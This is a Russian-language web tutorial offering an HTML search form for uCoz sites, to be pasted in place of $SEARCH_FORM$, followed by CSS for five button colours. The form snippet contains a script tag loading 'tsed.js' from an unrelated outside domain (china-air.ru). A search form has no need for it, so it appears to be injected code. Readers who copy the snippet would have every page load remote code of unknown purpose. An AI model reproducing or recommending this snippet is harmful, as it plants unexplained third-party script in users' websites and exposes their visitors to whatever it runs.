Суббота, 18.05.2024, 09:32
Главная Регистрация RSS
Приветствую Вас, Гость
Категории раздела
Видео уроки [3]
Cкрипты [4]
скрипты
Облако тегов
Реклама
Поиск
Реклама
Главная » 2012 » Декабрь » 28 » Формы поиска для uCoz
13:49
Формы поиска для uCoz
Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

Код
$SEARCH_FORM$


Везде ставим:

Код
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
  <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <input class="poick_knopka" type="submit" value="Найти" />  
  <input type="hidden" name="t" value="0" />  
  </form>


И теперь остается прописать стили!
Фиолетовая форма:

Код
/* Форма поиска фиолетовая кнопка  
------------------------------------------*/  
.poick_os {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka {  
  text-shadow: 1px 1px 1px #751a9b;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#ce36fa;  
  border:1px solid #a622e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka:hover {background:#b73cea;}  

.poick_os,  
.poick_knopka {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Синяя форма:

Код
/* Форма поиска синяя кнопка  
------------------------------------------*/  
.poick_os1 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os1 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole1 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka1 {  
  text-shadow: 1px 1px 1px #1061B0;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#36A6FA;  
  border:1px solid #2290e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka1:hover {background:#3c9fea;}  

.poick_os1,  
.poick_knopka1 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Красная форма:

Код
/* Форма поиска красная кнопка  
------------------------------------------*/  
.poick_os2 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os2 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole2 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka2 {  
  text-shadow: 1px 1px 1px #b01010;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#fa3636;  
  border:1px solid #e32222;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka2:hover {background:#ea3c3c;}  

.poick_os2,  
.poick_knopka2 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Зеленая форма:

Код
/* Форма поиска зелёная кнопка  
------------------------------------------*/  
.poick_os3 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os3 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole3 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka3 {  
  text-shadow: 1px 1px 1px #368620;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#6ae14a;  
  border:1px solid #57c939;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka3:hover {background:#65d447;}  

.poick_os3,  
.poick_knopka3 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Оранжевая форма:

Код
/* Форма поиска оранжевая кнопка  
------------------------------------------*/  
.poick_os4 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os4 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole4 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka4 {  
  text-shadow: 1px 1px 1px #865520;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#e1954a;  
  border:1px solid #c97639;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka4:hover {background:#d48347;}  

.poick_os4,  
.poick_knopka4 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}
Просмотров: 298 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Последние файлы

 
[06.11.2015][Скрипты для ucoz]
Плейлист для фильмов или сериалов UCOZ (0)
[09.05.2012][Шаблоны для ucoz]
Шаблон Millenium (14)
[12.02.2012][Программы]
Программа Intro Banner Maker v2.9 Скачать бесплатно (30)
[12.02.2012][Программы]
Adobe Photoshop CS5.1 Extended 12.1.0 Update 2 (x32/x64) RUS Скачать (11)
[12.02.2012][Программы]
Бесплатная программа для создания меню сайта CSS Tab Designer (1)
[24.12.2011][Шаблоны для ucoz]
Флуд-контроль для форума (1)
[10.07.2011][Шаблоны для ucoz]
Шаблон Mistic v.2 (2)
[08.07.2011][Шаблоны для Joomla]
GK Gamebox v1.0.5 (2)
[08.07.2011][Шаблоны для ucoz]
Улучшенная версия шаблона "Kiks" (1)
[05.07.2011][Шаблоны для ucoz]
Шаблон Cinema World для ucoz (2)
Последние статьи

[12.07.2013]
Adobe Photoshop CS 6 Extended. Новые возможности (0)
[12.02.2012]
Как сделать собственный баннер через фотошоп? (1)
[12.02.2012]
Как сделать баннер для своего сайта самому (1)
[12.02.2012]
Онлайн генераторы баннеров и логотипов (7)
[12.02.2012]
CSS Tab Designer Бесплатная программа для создания меню сайта (0)
[12.02.2012]
Меню сайта в uCoz – как его создать или изменить? (2)
[10.02.2012]
Как раскрутить сайт бесплатно? (0)
[10.02.2012]
Как сменить дизайн на сайте Ucoz (0)
[10.02.2012]
Как создать сайт на юкозе? (4)
[08.02.2012]
Как установить иконку favicon.ico в ucoz? (1)
Последние видео уроки и скрипты


[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[13.09.2014]
Кнопка рейтинга + и - (0)
[06.09.2014]
Красивая статистика для uCoz (0)
[06.09.2014]
Вид комментариев ucoz с круглым Avatar (0)
[06.09.2014]
Up на подобии как в вк (0)
[31.08.2014]
Cоц. закладки для сайта (0)
[31.08.2014]
Кнопка наверх в виде ракеты с эффектом огня (0)
[29.08.2014]
Полный мини-чат для uCoz (0)
[30.03.2014]
Радио для сайта (0)